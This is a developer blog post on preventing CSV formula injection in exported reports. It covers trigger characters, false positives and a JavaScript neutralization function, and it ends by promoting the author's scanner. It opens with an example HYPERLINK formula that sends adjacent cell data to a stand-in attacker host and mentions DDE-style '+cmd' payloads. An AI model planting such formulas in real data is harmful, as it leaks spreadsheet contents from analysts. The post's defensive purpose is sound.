DEV Community

NetEngineerLab
NetEngineerLab

Posted on

Preventing CSV Formula Injection in Application Exports

A user types =HYPERLINK("https://evil.example/?q="&A2,"Click to view") into a support ticket subject or profile bio. Your backend safely escapes HTML on the web page, stores the string in Postgres, and exports weekly reports as standard RFC 4180 CSV. When an operations analyst opens that CSV in Excel or LibreOffice Calc, the cell renders as an active formula.

This class of vulnerability—CSV Injection or Formula Injection (CWE-1236)—happens because CSV has no built-in data types. Everything is plain text until a spreadsheet program guesses what the cell means.

Why quotes do not stop formula evaluation

Standard CSV escaping wraps fields containing commas, quotes, or newlines in double quotes:

id,customer_note
1042,"=1+1"
Enter fullscreen mode Exit fullscreen mode

Double quotes protect the CSV parser from splitting the column, not the spreadsheet engine from evaluating the cell. Once Excel, LibreOffice Calc, or Google Sheets parses "=1+1" into a cell, the value begins with = and is treated as a formula.

Nor is = the only trigger. Spreadsheet engines can also evaluate cells beginning with:

  • = (standard formula start)
  • + (positive formula expressions such as +1+1 or +cmd|...)
  • - (negative formula expressions such as -1+1)
  • @ (function prefix in Excel, such as @SUM(...))
  • Leading tab (\t, 0x09) or carriage return (\r, 0x0D) before one of the characters above, which some spreadsheet parsers strip or treat as whitespace while still interpreting the formula character that follows

Depending on the spreadsheet client and security settings, formulas can exfiltrate adjacent cells over HYPERLINK or web-fetch functions, or attempt Dynamic Data Exchange (DDE) commands when an analyst clicks past security prompts. Even if modern desktop Excel blocks external DDE execution by default, warning fatigue and inconsistent behavior across spreadsheet viewers make unescaped formula cells risky to ship.

The false-positive problem with naive sanitization

Simply rejecting or rewriting every cell starting with + or - creates immediate friction in legitimate business exports:

  • International phone numbers: +44 20 7946 0958
  • Negative financial adjustments or percentages: -15.50 or -15%
  • Hyphenated notes or social handles: - Follow up on ticket or @ops-team

Prefixing every such cell unconditionally with a leading single quote (')—turning +44 20 7946 0958 into '+44 20 7946 0958—stops spreadsheet formula execution because Excel treats a leading apostrophe as a literal text indicator. That extra character, however, alters the underlying string if an automated script or ETL importer later parses the same CSV expecting raw values.

Notice also when you neutralize: apply the leading ' to the raw cell value before passing it to your RFC 4180 CSV serializer (csv.writer or equivalent) rather than hand-building comma-separated strings. That way embedded quotes, commas, and newlines are still escaped properly around the neutralized value.

Practical mitigation choices by export consumer

Match your defense to who consumes the file, and check both leading characters and whitespace prefixes:

const FORMULA_PREFIX = /^[\t\r ]*[=+\-@]/;

function neutralizeForSpreadsheet(value) {
  const str = String(value ?? "");
  return FORMULA_PREFIX.test(str) ? `'${str}` : str;
}
Enter fullscreen mode Exit fullscreen mode
  1. Exports meant for humans opening spreadsheets:
    • Neutralize untrusted string fields matching ^[\t\r ]*[=+\-@] by prefixing ', or—better yet—export directly to .xlsx using a writer that stores strings in explicit text nodes (t="s") rather than formula cells.
    • Separate typed numeric columns (such as a validated decimal amount column) from free-text user columns (notes, company_name, address) so real negative accounting figures stay numeric while user-supplied text cannot execute.
  2. Exports meant for automated pipelines and APIs:
    • Do not silently mutate raw values with '. Keep machine-consumed exports in JSON, Parquet, or untouched CSV, and document the endpoint as machine data rather than a spreadsheet report.
  3. Audit existing exports before sharing externally:
    • Internal admin CSVs frequently get forwarded to finance, support, or outside partners who double-click .csv files directly. Scanning an export first shows whether flagged cells are harmless negative numbers and phone fields or genuine formula payloads.

I maintain DataFileLab, where the browser-based CSV Formula Safety Scanner inspects .csv and .txt files locally on your device—listing each flagged row, column, value, risk level, and recommendation without uploading file contents to a server.

Top comments (0)